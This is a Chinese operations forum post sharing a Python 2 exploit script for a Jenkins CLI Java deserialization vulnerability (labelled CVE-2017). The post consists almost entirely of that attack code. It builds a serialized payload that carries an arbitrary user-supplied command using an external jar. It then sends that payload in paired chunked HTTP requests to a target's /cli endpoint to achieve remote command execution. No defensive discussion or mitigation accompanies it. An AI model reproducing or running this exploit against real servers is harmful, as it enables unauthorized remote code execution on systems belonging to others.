设为首页 收藏本站
查看: 1096|回复: 0

[经验分享] Jenkins反序列化漏洞cve-2017

[复制链接]

尚未签到

发表于 2018-1-9 20:59:26 | 显示全部楼层 |阅读模式
# -*- coding: utf-8 -*-  
"""
  
援引自:https://7f52.com/?p=450
  
重构人:陈然
  
公司:360企业安全集团
  
"""
  

  
#需要引入的库文件
  
import os
  
import uuid
  
import gzip
  
import zlib
  
import time
  
import urllib
  
import socket
  
import urllib3
  
import requests
  
import threading
  
from optparse import OptionParser
  

  
#全局变量定义:
  
#Proxy = {"http":"http://127.0.0.1:8090","https":"http://127.0.0.1:8090"}#HTTP、HTTPS协议代理设置
  
Proxy = None#HTTP、HTTPS协议代理设置
  
Target="http://%s:8080/cli"#攻击目标
  
Premle='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
  
Proto = 'x00x00x00x00'
  
File_Serialization = None
  
socket.setdefaulttimeout(3)
  

  

  
#全局函数定义
  
def Payload_Init(command):
  
     global File_Serialization
  
     command = "java -jar jenkins_payload.jar payload.ser '%s'"%str(command)
  
     print command
  
     return_number = os.system(command)
  
     if return_number != 0:
  
         print "Call Jar Packet To Init The Payload Error"
  
         exit(0)
  
     File_Serialization = open("./payload.ser","rb").read()
  

  
def Download(url,session):
  
     headers = {'Side':'download'}
  
     headers['Content-type'] = 'application/x-www-form-urlencoded'
  
     headers['Session'] = session
  
     headers['Transfer-Encoding'] = 'chunked'
  
     try:
  
         response = requests.post(url,data=Null_Payload(),headers=headers,proxies=Proxy,stream=True)
  
     except Exception,ex:
  
         print ex
  
         exit(0)
  
     print response.content
  

  
'''
  
def Upload(url,session,data):
  
     headers = {'Side':'upload'}
  
     headers['Session'] = session
  
     headers['Content-type'] = 'application/octet-stream'
  
     headers['Accept-Encoding'] = None
  
     try:
  
         response = requests.post(url,data=data,headers=headers,proxies=Proxy)
  
     except Exception,ex:
  
         print ex
  
         exit(0)
  
'''
  

  
def Upload_Chunked(url,session,data):
  
     headers = {'Side':'upload'}
  
     headers['Session'] = session
  
     headers['Content-type'] = 'application/octet-stream'
  
     headers['Accept-Encoding'] = None
  
     headers['Transfer-Encoding'] = 'chunked'
  
     headers['Cache-Control'] = 'no-cache'
  
     try:
  
         response = requests.post(url,headers=headers,data=Create_Payload_Chunked(),proxies=Proxy)
  
     except Exception,ex:
  
         print ex
  
         exit(0)
  

  
def Null_Payload():
  
     yield " "
  

  
"""
  
def Create_Payload():
  
     payload = Premle + Proto + File_Serialization
  
     return payload
  

  
"""
  

  
def Create_Payload_Chunked():
  
     yield Premle
  
     yield Proto
  
     yield File_Serialization
  

  
def Attack():
  
     print "start"
  
     session = str(uuid.uuid4())
  
     thread_object = threading.Thread(target=Download,args=(Target,session))
  
     thread_object.start()
  
     time.sleep(1)
  
     print "pwn"
  
     #Upload(URL, session, create_payload())
  
     Upload_Chunked(Target,session,"asdf")
  

  
#程序入口
  
if __name__ == "__main__":
  
     parser = OptionParser()
  
     parser.add_option("-t","--target",dest="target",help="Target IP address!")
  
     parser.add_option("-c","--command",dest="command",help="The command to execute!")
  
     parser.add_option("-p","--protocol",dest="protocol",help="Protocl is HTTP or HTTPS!")
  
     (options, args) = parser.parse_args()
  
     optionslist = [options.target,options.command,options.protocol]
  
     if None in optionslist or "" in optionslist:
  
         print "Please check your input parameters!"
  
     Target = Target%options.target
  
     command = options.command
  
     protocol = options.protocol
  
     if protocol == "HTTP":
  
         pass
  
     elif protocol == "HTTPS":
  
         Target = Target.replace("http","https")
  
     else:
  
         print "Unknown Protocol!"
  
     Payload_Init(command)
  
     Attack()

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-433357-1-1.html 上篇帖子: 为Jenkins添加slave node 下篇帖子: docker部署jenkins环境
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表